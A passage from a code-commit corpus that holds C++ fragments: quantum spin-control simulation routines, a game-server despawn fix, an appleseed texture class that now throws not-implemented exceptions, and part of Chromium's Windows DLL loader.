-4*rotation_angle\/g_B_ctl; \/\/ control operation time\n while(control_time >= control_period) control_time -= control_period;\n while(control_time < 0) control_time += control_period;\n if(control_time > control_period\/2){\n g_B_ctl *= -1;\n control_time = control_period-control_time;\n }\n\n const double B_ctl = g_B_ctl\/nv.nuclei.at(index).g; \/\/ control field strength\n const control_fields controls(B_ctl*axis_ctl, w_ctl); \/\/ control field object\n\n MatrixXcd U_ctl;\n if(!adjust_AXY){\n U_ctl = simulate_propagator(nv, cluster, w_DD, f_DD, k_DD, controls, control_time);\n } else{ \/\/ if(adjust_AXY)\n assert(w_DD != w_larmor);\n if(w_DD < w_larmor){\n const uint freq_ratio = 2*round(0.5*w_larmor\/w_DD);\n const double w_DD_adjusted = w_larmor\/freq_ratio;\n const double t_DD_adjusted = 2*pi\/w_DD_adjusted;\n const uint cycles = int(control_time\/t_DD_adjusted);\n\n const double leading_time = control_time - cycles*t_DD_adjusted;\n const double trailing_time = t_DD_adjusted - leading_time;\n\n const MatrixXcd U_leading = simulate_propagator(nv, cluster, w_DD_adjusted, f_DD, k_DD,\n controls, leading_time);\n const MatrixXcd U_trailing = simulate_propagator(nv, cluster, w_DD_adjusted, f_DD, k_DD,\n controls, trailing_time, leading_time);\n\n U_ctl = U_leading * pow(U_trailing*U_leading,cycles);\n } else{ \/\/ if(w_DD > w_larmor)\n const uint freq_ratio = round(w_DD\/w_larmor);\n const double w_DD_adjusted = w_larmor*freq_ratio;\n const double t_DD_adjusted = 2*pi\/w_DD_adjusted;\n const uint cycles = int(control_time\/t_larmor);\n\n const double leading_time = control_time - cycles*t_larmor;\n const double trailing_time = t_larmor - leading_time;\n\n const MatrixXcd U_leading = simulate_propagator(nv, cluster, w_DD_adjusted, f_DD, k_DD,\n controls, leading_time);\n const MatrixXcd U_trailing = simulate_propagator(nv, cluster, w_DD_adjusted, f_DD, k_DD,\n controls, trailing_time, leading_time);\n\n U_ctl = U_leading * pow(U_trailing*U_leading,cycles);\n }\n }\n\n double flush_time = ceil(control_time\/t_larmor)*t_larmor - control_time - z_phase\/w_larmor;\n flush_time -= floor(flush_time\/t_larmor)*t_larmor;\n const MatrixXcd U_flush =\n simulate_propagator(nv, cluster, w_DD, f_DD, k_DD, flush_time, control_time);\n\n return U_flush * U_ctl;\n}\n\n\/\/ compute and perform rotation of target nucleus necessary to generate U\nMatrixXcd rotate_target(const nv_system& nv, const uint index, const Matrix2cd U,\n const bool exact, const bool adjust_AXY){\n if(exact){\n const uint cluster = get_cluster_containing_index(nv,index);\n const uint index_in_cluster = get_index_in_cluster(index,nv.clusters.at(cluster));\n const uint spins = nv.clusters.at(cluster).size()+1;\n\n const MatrixXcd to_natural_axis = rotate({xhat,yhat,zhat},natural_basis(nv,index));\n return act(to_natural_axis.adjoint() * U * to_natural_axis, {index_in_cluster+1}, spins);\n }\n\n const Vector4cd H_vec = U_decompose(j*log(U));\n const double rx = real(H_vec(1))*2;\n const double ry = real(H_vec(2))*2;\n const double rz = real(H_vec(3))*2;\n\n const double rotation_angle = sqrt(rx*rx + ry*ry + rz*rz);\n const double azimuth = atan2(ry,rx);\n const double pitch = asin(rz\/rotation_angle);\n\n const double net_pole_rotation = pi - 2*abs(pitch);\n const double net_equatorial_rotation =\n 2*abs(pitch) + (rotation_angle < pi ? rotation_angle : 2*pi - rotation_angle);\n\n if(net_pole_rotation < net_equatorial_rotation){\n const int pole = pitch > 0 ? 1 : -1; \/\/ \"north\" vs \"south\" pole\n const double angle_to_pole = pi\/2 - abs(pitch);\n\n const MatrixXcd to_pole =\n U_ctl(nv, index, azimuth - pi\/2, pole*angle_to_pole\/2, exact, adjust_AXY);\n const MatrixXcd rotate = U_ctl(nv, index, 0, 0, exact, adjust_AXY, pole*rotation_angle);\n\n return to_pole.adjoint() * rotate * to_pole;\n\n } else{\n const MatrixXcd to_equator = U_ctl(nv, index, azimuth + pi\/2, pitch\/2, exact, adjust_AXY);\n const MatrixXcd rotate = U_ctl(nv, index, azimuth, rotation_angle\/2, exact, adjust_AXY);\n\n return to_equator.adjoint() * rotate * to_equator;\n }\n}\n\n\/\/ propagator U = exp(-i * rotation_angle * sigma_{n_1}^{NV}*sigma_{n_2}^{index})\nMatrixXcd U_int(const nv_system& nv, const uint index, const double nv_azimuth,\n const double nv_polar, const double target_azimuth,\n const double rotation_angle, const bool exact){\n \/\/ identify cluster of target nucleus\n const uint cluster = get_cluster_containing_index(nv,index);\n const uint index_in_cluster = get_index_in_cluster(index,nv.clusters.at(cluster));\n const uint spins = nv.clusters.at(cluster).size()+1;\n\n \/\/ NV spin axis\n const Vector3d nv_axis = axis(nv_azimuth,nv_polar);\n\n if(exact){\n \/\/ return exact propagator\n const Vector3d target_axis = natural_axis(nv,index,target_azimuth);\n const MatrixXcd G = exp(-j * rotation_angle *\n tp(dot(s_vec,nv_axis), dot(s_vec,target_axis)));\n return act(G, {0,index_in_cluster+1}, spins);\n }\n\n \/\/ verify that we can address this nucleus\n if(round(4*dot(nv.nuclei.at(index).pos,ao)) == 0.){\n cout << \"Cannot address nuclei without hyperfine coupling perpendicular to the NV axis: \"\n << index << endl;\n return MatrixXcd::Identity(pow(2,spins),pow(2,spins));\n }\n for(uint i = 0; i < nv.clusters.at(cluster).size(); i++){\n if(nv.clusters.at(cluster).at(i) == index) continue;\n if(is_larmor_pair(nv, index, nv.clusters.at(cluster).at(i))){\n cout << \"Cannot address nuclei with larmor pairs: \"\n << index << \", \" << nv.clusters.at(cluster).at(i) << endl;\n return MatrixXcd::Identity(pow(2,spins),pow(2,spins));\n }\n }\n\n \/\/ larmor frequency of and perpendicular component of hyperfine field at target nucleus\n const double w_larmor = effective_larmor(nv,index).norm();\n const double t_larmor = 2*pi\/w_larmor;\n const double dw_min = larmor_resolution(nv,index);\n const Vector3d A_perp = hyperfine_perp(nv,index);\n\n \/\/ AXY sequence parameters\n const double w_DD = w_larmor\/nv.k_DD; \/\/ AXY protocol angular frequency\n const double t_DD = 2*pi\/w_DD; \/\/ AXY protocol period\n double f_DD = min(dw_min\/(A_perp.norm()*nv.scale_factor), axy_f_max(nv.k_DD));\n\n const double interaction_period = 2*pi\/abs(f_DD*A_perp.norm()\/8);\n double interaction_time = rotation_angle\/(nv.ms*f_DD*A_perp.norm()\/8);\n while(interaction_time >= interaction_period) interaction_time -= interaction_period;\n while(interaction_time < 0) interaction_time += interaction_period;\n if(interaction_time > interaction_period\/2){\n f_DD *= -1;\n interaction_time = interaction_period-interaction_time;\n }\n\n const MatrixXcd U_int = simulate_propagator(nv, cluster, w_DD, f_DD, nv.k_DD,\n interaction_time, -target_azimuth\/w_DD);\n\n const double flush_time = ceil(interaction_time\/t_larmor)*t_larmor - interaction_time;\n const MatrixXcd U_flush = simulate_propagator(nv, cluster, w_DD, 0, nv.k_DD, flush_time,\n interaction_time - target_azimuth\/w_DD);\n\n \/\/ rotate the NV spin between the desired axis and zhat\n const MatrixXcd nv_to_zhat = rotate_NV(nv,rotate(zhat,nv_axis),spins);\n\n return U_flush * nv_to_zhat.adjoint() * U_int * nv_to_zhat;\n}\n\n\/\/--------------------------------------------------------------------------------------------\n\/\/ Specific operations\n\/\/--------------------------------------------------------------------------------------------\n\n\/\/ iSWAP operation\nMatrixXcd iSWAP(const nv_system& nv, const uint index, const bool exact){\n const double iswap_angle = -pi\/4;\n const double xy_polar = pi\/2;\n const double xhat_azimuth = 0;\n const double yhat_azimuth = pi\/2;\n return\n U_int(nv, index, xhat_azimuth, xy_polar, xhat_azimuth, iswap_angle, exact) *\n U_int(nv, index, yhat_azimuth, xy_polar, yhat_azimuth, iswap_angle, exact);\n};\n\nMatrixXcd SWAP_NVST(const nv_system& nv, const uint idx1, const uint idx2, const bool exact){\n \/\/ assert that both target nuclei are in the same cluster\n const vector<uint> cluster = nv.clusters.at(get_cluster_containing_index(nv,idx1));\n assert(in_vector(idx2,cluster));\n\n \/\/ define angles\n const double angle = pi\/4;\n const double z_polar = 0;\n const double xy_polar = pi\/2;\n const double xhat_azimuth = 0;\n const double yhat_azimuth = pi\/2;\n\n \/\/ compute components of SWAP_NVST\n const MatrixXcd Rz_NV = rotate_NV(nv, rotate(2*angle*zhat), cluster.size()+1);\n const MatrixXcd Rx_1 = U_ctl(nv, idx1, xhat_azimuth, angle, exact);\n const MatrixXcd Ry_1 = U_ctl(nv, idx1, yhat_azimuth, angle, exact);\n const MatrixXcd Rz_1 = Rx_1 * Ry_1 * Rx_1.adjoint();\n const MatrixXcd iSWAP_NV_1 =\n U_int(nv, idx1, xhat_azimuth, xy_polar, xhat_azimuth, -angle, exact) *\n U_int(nv, idx1, yhat_azimuth, xy_polar, yhat_azimuth, -angle, exact);\n const MatrixXcd cNOT_NV_1 =\n Rz_NV * Rx_1 * U_int(nv, idx1, xhat_azimuth, z_polar, xhat_azimuth, -angle, exact);\n const MatrixXcd E_NV_2 =\n U_int(nv, idx2, yhat_azimuth, xy_polar, xhat_azimuth, -angle, exact);\n\n \/\/ combine componenets into full SWAP_NVST operation\n const MatrixXcd M = E_NV_2.adjoint() * iSWAP_NV_1 * Rz_1.adjoint() * Rz_NV;\n return M.adjoint() * cNOT_NV_1 * M;\n}\n<|endoftext|>"} {"text":"<commit_before>\n#include \"server\/zone\/managers\/creature\/SpawnObserver.h\"\n#include \"server\/zone\/objects\/creature\/ai\/AiAgent.h\"\n\nvoid SpawnObserverImplementation::despawnSpawns() {\n\tfor (int i = 0; i < spawnedCreatures.size(); ++i) {\n\t\tManagedReference<CreatureObject*> obj = spawnedCreatures.get(i);\n\n\t\tif (obj != NULL && obj->isAiAgent()) {\n\t\t\tAiAgent* aiObj = cast<AiAgent*>(obj.get());\n\n\t\t\tLocker locker(aiObj);\n\t\t\taiObj->setDespawnOnNoPlayerInRange(true);\n\t\t}\n\t}\n\n\tspawnedCreatures.removeAll();\n}\n<commit_msg>[fixed] stability issue<commit_after>\n#include \"server\/zone\/managers\/creature\/SpawnObserver.h\"\n#include \"server\/zone\/objects\/creature\/ai\/AiAgent.h\"\n\nvoid SpawnObserverImplementation::despawnSpawns() {\n\tVector<ManagedReference<AiAgent* > > agents;\n\n\tfor (int i = 0; i < spawnedCreatures.size(); ++i) {\n\t\tManagedReference<CreatureObject*> obj = spawnedCreatures.get(i);\n\n\t\tif (obj != NULL && obj->isAiAgent()) {\n\t\t\tAiAgent* aiObj = cast<AiAgent*>(obj.get());\n\t\t\tagents.add(aiObj);\n\t\t}\n\t}\n\n\tspawnedCreatures.removeAll();\n\n\tEXECUTE_TASK_1(agents, {\n\t\t\tfor (int i = 0; i < agents_p.size(); ++i) {\n\t\t\t\tAiAgent* agent = agents_p.get(i);\n\n\t\t\t\tLocker locker(agent);\n\n\t\t\t\tagent->setDespawnOnNoPlayerInRange(true);\n\t\t\t}\n\t});\n}\n<|endoftext|>"} {"text":"<commit_before>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2010 Francois Beaune\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ Interface header.\n#include \"writabletexture2d.h\"\n\n\/\/ appleseed.renderer headers.\n#include \"renderer\/modeling\/texture\/texture.h\"\n\n\/\/ appleseed.foundation headers.\n#include \"foundation\/image\/canvasproperties.h\"\n#include \"foundation\/image\/colorspace.h\"\n#include \"foundation\/image\/tile.h\"\n#include \"foundation\/platform\/thread.h\"\n#include \"foundation\/utility\/searchpaths.h\"\n\nusing namespace boost;\nusing namespace foundation;\nusing namespace std;\n\nnamespace renderer\n{\n\nnamespace\n{\n\n \/\/\n \/\/ 2D writable texture.\n \/\/\n\n class WritableTexture2d\n : public Texture\n {\n public:\n WritableTexture2d(\n const char* name,\n const ParamArray& params,\n const SearchPaths& search_paths)\n : Texture(params)\n , m_name(name)\n , m_props_defined(false)\n {\n }\n\n virtual void release()\n {\n delete this;\n }\n\n virtual const char* get_model() const\n {\n return WritableTexture2dFactory::get_model();\n }\n\n virtual const char* get_name() const\n {\n return m_name.c_str();\n }\n\n virtual ColorSpace get_color_space() const\n {\n \/\/ todo: implement.\n return ColorSpaceLinearRGB;\n }\n\n virtual const CanvasProperties& properties()\n {\n mutex::scoped_lock lock(m_mutex);\n\n if (!m_props_defined)\n {\n set_canvas_properties();\n m_props_defined = true;\n }\n\n return m_props;\n }\n\n virtual Tile* load_tile(\n const size_t tile_x,\n const size_t tile_y)\n {\n mutex::scoped_lock lock(m_mutex);\n\n \/\/ todo: create a blank tile, or get the tile from the texture.\n return new Tile(\n 32,\n 32,\n 4,\n PixelFormatFloat);\n }\n\n virtual void unload_tile(\n const size_t tile_x,\n const size_t tile_y,\n Tile* tile)\n {\n mutex::scoped_lock lock(m_mutex);\n\n \/\/ todo: store the tile into the texture.\n }\n\n private:\n const string m_name;\n mutable mutex m_mutex;\n bool m_props_defined;\n CanvasProperties m_props;\n\n \/\/ Set canvas properties.\n void set_canvas_properties()\n {\n \/\/ todo: open texture file and set canvas properties.\n }\n };\n\n} \/\/ anonymous namespace\n\n\n\/\/\n\/\/ WritableTexture2dFactory class implementation.\n\/\/\n\nconst char* WritableTexture2dFactory::get_model()\n{\n return \"writable_texture_2d\";\n}\n\nauto_release_ptr<Texture> WritableTexture2dFactory::create(\n const char* name,\n const ParamArray& params,\n const SearchPaths& search_paths) const\n{\n return\n auto_release_ptr<Texture>(\n new WritableTexture2d(name, params, search_paths));\n}\n\n} \/\/ namespace renderer\n<commit_msg>the renderer::WritableTexture2d class is not yet implemented, throw ExceptionNotImplemented exceptions if we attempt to use it.<commit_after>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2010 Francois Beaune\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ Interface header.\n#include \"writabletexture2d.h\"\n\n\/\/ appleseed.renderer headers.\n#include \"renderer\/modeling\/texture\/texture.h\"\n\n\/\/ appleseed.foundation headers.\n#include \"foundation\/core\/exceptionnotimplemented.h\"\n#include \"foundation\/image\/canvasproperties.h\"\n#include \"foundation\/image\/colorspace.h\"\n#include \"foundation\/image\/tile.h\"\n#include \"foundation\/platform\/thread.h\"\n#include \"foundation\/utility\/searchpaths.h\"\n\nusing namespace boost;\nusing namespace foundation;\nusing namespace std;\n\nnamespace renderer\n{\n\nnamespace\n{\n\n \/\/\n \/\/ 2D writable texture.\n \/\/\n\n class WritableTexture2d\n : public Texture\n {\n public:\n WritableTexture2d(\n const char* name,\n const ParamArray& params,\n const SearchPaths& search_paths)\n : Texture(params)\n , m_name(name)\n , m_props_defined(false)\n {\n }\n\n virtual void release()\n {\n delete this;\n }\n\n virtual const char* get_model() const\n {\n return WritableTexture2dFactory::get_model();\n }\n\n virtual const char* get_name() const\n {\n return m_name.c_str();\n }\n\n virtual ColorSpace get_color_space() const\n {\n \/\/ todo: implement.\n throw ExceptionNotImplemented();\n return ColorSpaceLinearRGB;\n }\n\n virtual const CanvasProperties& properties()\n {\n mutex::scoped_lock lock(m_mutex);\n\n if (!m_props_defined)\n {\n set_canvas_properties();\n m_props_defined = true;\n }\n\n return m_props;\n }\n\n virtual Tile* load_tile(\n const size_t tile_x,\n const size_t tile_y)\n {\n mutex::scoped_lock lock(m_mutex);\n\n \/\/ todo: create a blank tile, or get the tile from the texture.\n throw ExceptionNotImplemented();\n return 0;\n }\n\n virtual void unload_tile(\n const size_t tile_x,\n const size_t tile_y,\n Tile* tile)\n {\n mutex::scoped_lock lock(m_mutex);\n\n \/\/ todo: store the tile into the texture.\n throw ExceptionNotImplemented();\n }\n\n private:\n const string m_name;\n mutable mutex m_mutex;\n bool m_props_defined;\n CanvasProperties m_props;\n\n \/\/ Set canvas properties.\n void set_canvas_properties()\n {\n \/\/ todo: open texture file and set canvas properties.\n throw ExceptionNotImplemented();\n }\n };\n\n} \/\/ anonymous namespace\n\n\n\/\/\n\/\/ WritableTexture2dFactory class implementation.\n\/\/\n\nconst char* WritableTexture2dFactory::get_model()\n{\n return \"writable_texture_2d\";\n}\n\nauto_release_ptr<Texture> WritableTexture2dFactory::create(\n const char* name,\n const ParamArray& params,\n const SearchPaths& search_paths) const\n{\n return\n auto_release_ptr<Texture>(\n new WritableTexture2d(name, params, search_paths));\n}\n\n} \/\/ namespace renderer\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <windows.h>\n#include <shlwapi.h>\n\n#include \"base\/command_line.h\"\n#include \"base\/debug\/trace_event.h\"\n#include \"base\/environment.h\"\n#include \"base\/file_util.h\"\n#include \"base\/logging.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/win\/registry.h\"\n#include \"base\/string_util.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"base\/version.h\"\n#include \"chrome\/app\/breakpad_win.h\"\n#include \"chrome\/app\/client_util.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_result_codes.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/installer\/util\/browser_distribution.h\"\n#include \"chrome\/installer\/util\/channel_info.h\"\n#include \"chrome\/installer\/util\/install_util.h\"\n#include \"chrome\/installer\/util\/google_update_constants.h\"\n#include \"chrome\/installer\/util\/google_update_settings.h\"\n#include \"chrome\/installer\/util\/util_constants.h\"\n\nnamespace {\n\/\/ The entry point signature of chrome.dll.\ntypedef int (*DLL_MAIN)(HINSTANCE, sandbox::SandboxInterfaceInfo*, wchar_t*);\n\ntypedef void (*RelaunchChromeBrowserWithNewCommandLineIfNeededFunc)();\n\n\/\/ Gets chrome version according to the load path. |exe_path| must be the\n\/\/ backslash terminated directory of the current chrome.exe.\nbool GetVersion(const wchar_t* exe_path, const wchar_t* key_path,\n std::wstring* version) {\n HKEY reg_root = InstallUtil::IsPerUserInstall(exe_path) ? HKEY_CURRENT_USER :\n HKEY_LOCAL_MACHINE;\n bool success = false;\n\n base::win::RegKey key(reg_root, key_path, KEY_QUERY_VALUE);\n if (key.Valid()) {\n \/\/ If 'new_chrome.exe' is present it means chrome was auto-updated while\n \/\/ running. We need to consult the opv value so we can load the old dll.\n \/\/ TODO(cpu) : This is solving the same problem as the environment variable\n \/\/ so one of them will eventually be deprecated.\n std::wstring new_chrome_exe(exe_path);\n new_chrome_exe.append(installer::kChromeNewExe);\n if (::PathFileExistsW(new_chrome_exe.c_str()) &&\n key.ReadValue(google_update::kRegOldVersionField,\n version) == ERROR_SUCCESS) {\n success = true;\n } else {\n success = (key.ReadValue(google_update::kRegVersionField,\n version) == ERROR_SUCCESS);\n }\n }\n\n return success;\n}\n\n\/\/ Gets the path of the current exe with a trailing backslash.\nstd::wstring GetExecutablePath() {\n wchar_t path[MAX_PATH];\n ::GetModuleFileNameW(NULL, path, MAX_PATH);\n if (!::PathRemoveFileSpecW(path))\n return std::wstring();\n std::wstring exe_path(path);\n return exe_path.append(L\"\\\\\");\n}\n\n\/\/ Not generic, we only handle strings up to 128 chars.\nbool EnvQueryStr(const wchar_t* key_name, std::wstring* value) {\n wchar_t out[128];\n DWORD count = sizeof(out)\/sizeof(out[0]);\n DWORD rv = ::GetEnvironmentVariableW(key_name, out, count);\n if ((rv == 0) || (rv >= count))\n return false;\n *value = out;\n return true;\n}\n\n\/\/ Expects that |dir| has a trailing backslash. |dir| is modified so it\n\/\/ contains the full path that was tried. Caller must check for the return\n\/\/ value not being null to determine if this path contains a valid dll.\nHMODULE LoadChromeWithDirectory(std::wstring* dir) {\n ::SetCurrentDirectoryW(dir->c_str());\n const CommandLine& cmd_line = *CommandLine::ForCurrentProcess();\n#ifdef _WIN64\n if ((cmd_line.GetSwitchValueASCII(switches::kProcessType) ==\n switches::kNaClBrokerProcess) ||\n (cmd_line.GetSwitchValueASCII(switches::kProcessType) ==\n switches::kNaClLoaderProcess)) {\n \/\/ Load the 64-bit DLL when running in a 64-bit process.\n dir->append(installer::kChromeNaCl64Dll);\n } else {\n \/\/ Only NaCl broker and loader can be launched as Win64 processes.\n NOTREACHED();\n return NULL;\n }\n#else\n dir->append(installer::kChromeDll);\n#endif\n\n#ifdef NDEBUG\n \/\/ Experimental pre-reading optimization\n \/\/ The idea is to pre read significant portion of chrome.dll in advance\n \/\/ so that subsequent hard page faults are avoided.\n if (!cmd_line.HasSwitch(switches::kProcessType)) {\n \/\/ The kernel brings in 8 pages for the code section at a time and 4 pages\n \/\/ for other sections. We can skip over these pages to avoid a soft page\n \/\/ fault which may not occur during code execution. However skipping 4K at\n \/\/ a time still has better performance over 32K and 16K according to data.\n \/\/ TODO(ananta)\n \/\/ Investigate this and tune.\n const size_t kStepSize = 4 * 1024;\n\n DWORD pre_read_size = 0;\n DWORD pre_read_step_size = kStepSize;\n DWORD pre_read = 1;\n\n base::win::RegKey key(HKEY_CURRENT_USER, L\"Software\\\\Google\\\\ChromeFrame\",\n KEY_QUERY_VALUE);\n if (key.Valid()) {\n key.ReadValueDW(L\"PreReadSize\", &pre_read_size);\n key.ReadValueDW(L\"PreReadStepSize\", &pre_read_step_size);\n key.ReadValueDW(L\"PreRead\", &pre_read);\n key.Close();\n }\n if (pre_read) {\n TRACE_EVENT_BEGIN_ETW(\"PreReadImage\", 0, \"\");\n file_util::PreReadImage(dir->c_str(), pre_read_size, pre_read_step_size);\n TRACE_EVENT_END_ETW(\"PreReadImage\", 0, \"\");\n }\n }\n#endif \/\/ NDEBUG\n\n return ::LoadLibraryExW(dir->c_str(), NULL,\n LOAD_WITH_ALTERED_SEARCH_PATH);\n}\n\nvoid RecordDidRun(const std::wstring& dll_path) {\n bool system_level = !InstallUtil::IsPerUserInstall(dll_path.c_str());\n GoogleUpdateSettings::UpdateDidRunState(true, system_level);\n}\n\nvoid ClearDidRun(const std::wstring& dll_path) {\n bool system_level = !InstallUtil::IsPerUserInstall(dll_path.c_str());\n GoogleUpdateSettings::UpdateDidRunState(false, system_level);\n}\n\n}\n\/\/=============================================================================\n\nMainDllLoader::MainDllLoader() : dll_(NULL) {\n}\n\nMainDllLoader::~MainDllLoader() {\n#ifdef PURIFY\n \/\/ We should never unload the dll. There is only risk and no gain from\n \/\/ doing so. The singleton dtors have been already run by AtExitManager.\n ::FreeLibrary(dll_);\n#endif\n}\n\n\/\/ Loading chrome is an interesting affair. First we try loading from the\n\/\/ current directory to support run-what-you-compile and other development\n\/\/ scenarios.\n\/\/ If that fails then we look at the --chrome-version command line flag followed\n\/\/ by the 'CHROME_VERSION' env variable to determine if we should stick with an\n\/\/ older dll version even if a new one is available to support upgrade-in-place\n\/\/ scenarios.\n\/\/ If that fails then finally we look at the registry which should point us\n\/\/ to the latest version. This is the expected path for the first chrome.exe\n\/\/ browser instance in an installed build.\nHMODULE MainDllLoader::Load(std::wstring* out_version, std::wstring* out_file) {\n std::wstring dir(GetExecutablePath());\n *out_file = dir;\n HMODULE dll = LoadChromeWithDirectory(out_file);\n if (dll)\n return dll;\n\n std::wstring version_string;\n scoped_ptr<Version> version;\n const CommandLine& cmd_line = *CommandLine::ForCurrentProcess();\n if (cmd_line.HasSwitch(switches::kChromeVersion)) {\n version_string = cmd_line.GetSwitchValueNative(switches::kChromeVersion);\n version.reset(Version::GetVersionFromString(WideToASCII(version_string)));\n\n if (!version.get()) {\n \/\/ If a bogus command line flag was given, then abort.\n LOG(ERROR) << \"Invalid version string received on command line: \"\n << version_string;\n return NULL;\n }\n }\n\n if (!version.get()) {\n if (EnvQueryStr(ASCIIToWide(chrome::kChromeVersionEnvVar).c_str(),\n &version_string)) {\n version.reset(Version::GetVersionFromString(WideToASCII(version_string)));\n }\n }\n\n if (!version.get()) {\n std::wstring reg_path(GetRegistryPath());\n \/\/ Look into the registry to find the latest version. We don't validate\n \/\/ this by building a Version object to avoid harming normal case startup\n \/\/ time.\n version_string.clear();\n GetVersion(dir.c_str(), reg_path.c_str(), &version_string);\n }\n\n if (version.get() || !version_string.empty()) {\n *out_file = dir;\n *out_version = version_string;\n out_file->append(*out_version).append(L\"\\\\\");\n dll = LoadChromeWithDirectory(out_file);\n if (!dll) {\n LOG(ERROR) << \"Failed to load Chrome DLL from \" << out_file;\n }\n return dll;\n } else {\n LOG(ERROR) << \"Could not get Chrome DLL version.\";\n return NULL;\n }\n}\n\n\/\/ Launching is a matter of loading the right dll, setting the CHROME_VERSION\n\/\/ environment variable and just calling the entry point. Derived classes can\n\/\/ add custom code in the OnBeforeLaunch callback.\nint MainDllLoader::Launch(HINSTANCE instance,\n sandbox::SandboxInterfaceInfo* sbox_info) {\n std::wstring version;\n std::wstring file;\n dll_ = Load(&version, &file);\n if (!dll_)\n return chrome::RESULT_CODE_MISSING_DATA;\n\n scoped_ptr<base::Environment> env(base::Environment::Create());\n env->SetVar(chrome::kChromeVersionEnvVar, WideToUTF8(version));\n\n InitCrashReporterWithDllPath(file);\n OnBeforeLaunch(file);\n\n DLL_MAIN entry_point =\n reinterpret_cast<DLL_MAIN>(::GetProcAddress(dll_, \"ChromeMain\"));\n if (!entry_point)\n return content::RESULT_CODE_BAD_PROCESS_TYPE;\n\n int rc = entry_point(instance, sbox_info, ::GetCommandLineW());\n return OnBeforeExit(rc, file);\n}\n\nvoid MainDllLoader::RelaunchChromeBrowserWithNewCommandLineIfNeeded() {\n RelaunchChromeBrowserWithNewCommandLineIfNeededFunc relaunch_function =\n reinterpret_cast<RelaunchChromeBrowserWithNewCommandLineIfNeededFunc>(\n ::GetProcAddress(dll_,\n \"RelaunchChromeBrowserWithNewCommandLineIfNeeded\"));\n if (!relaunch_function) {\n LOG(ERROR) << \"Could not find exported function \"\n << \"RelaunchChromeBrowserWithNewCommandLineIfNeeded\";\n } else {\n relaunch_function();\n }\n}\n\n\/\/=============================================================================\n\nclass ChromeDllLoader : public MainDllLoader {\n public:\n virtual std::wstring GetRegistryPath() {\n std::wstring key(google_update::kRegPathClients);\n BrowserDistribution* dist = BrowserDistribution::GetDistribution();\n key.append(L\"\\\\\").append(dist->GetAppGuid());\n return key;\n }\n\n virtual void OnBeforeLaunch(const std::wstring& dll_path) {\n RecordDidRun(dll_path);\n }\n\n virtual int OnBeforeExit(int return_code, const std::wstring& dll_path) {\n \/\/ NORMAL_EXIT_CANCEL is used for experiments when the user cancels\n \/\/ so we need to reset the did_run signal so omaha does not count\n \/\/ this run as active usage.\n if (content::RESULT_CODE_NORMAL_EXIT_CANCEL == return_code) {\n ClearDidRun(dll_path);\n }\n return return_code;\n }\n};\n\n\/\/=============================================================================\n\nclass ChromiumDllLoader : public MainDllLoader {\n public:\n virtual std::wstring GetRegistryPath() {\n BrowserDistribution* dist = BrowserDistribution::GetDistribution();\n return dist->GetVersionKey();\n }\n};\n\nMainDllLoader* MakeMainDllLoader() {\n#if defined(GOOGLE_CHROME_BUILD)\n return new ChromeDllLoader();\n#else\n return new ChromiumDllLoader();\n#endif\n}\n<commit_msg>Build fix ... missed a file.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <windows.h>\n#include <shlwapi.h>\n\n#include \"base\/command_line.h\"\n#include \"base\/debug\/trace_event.h\"\n#include \"base\/environment.h\"\n#include 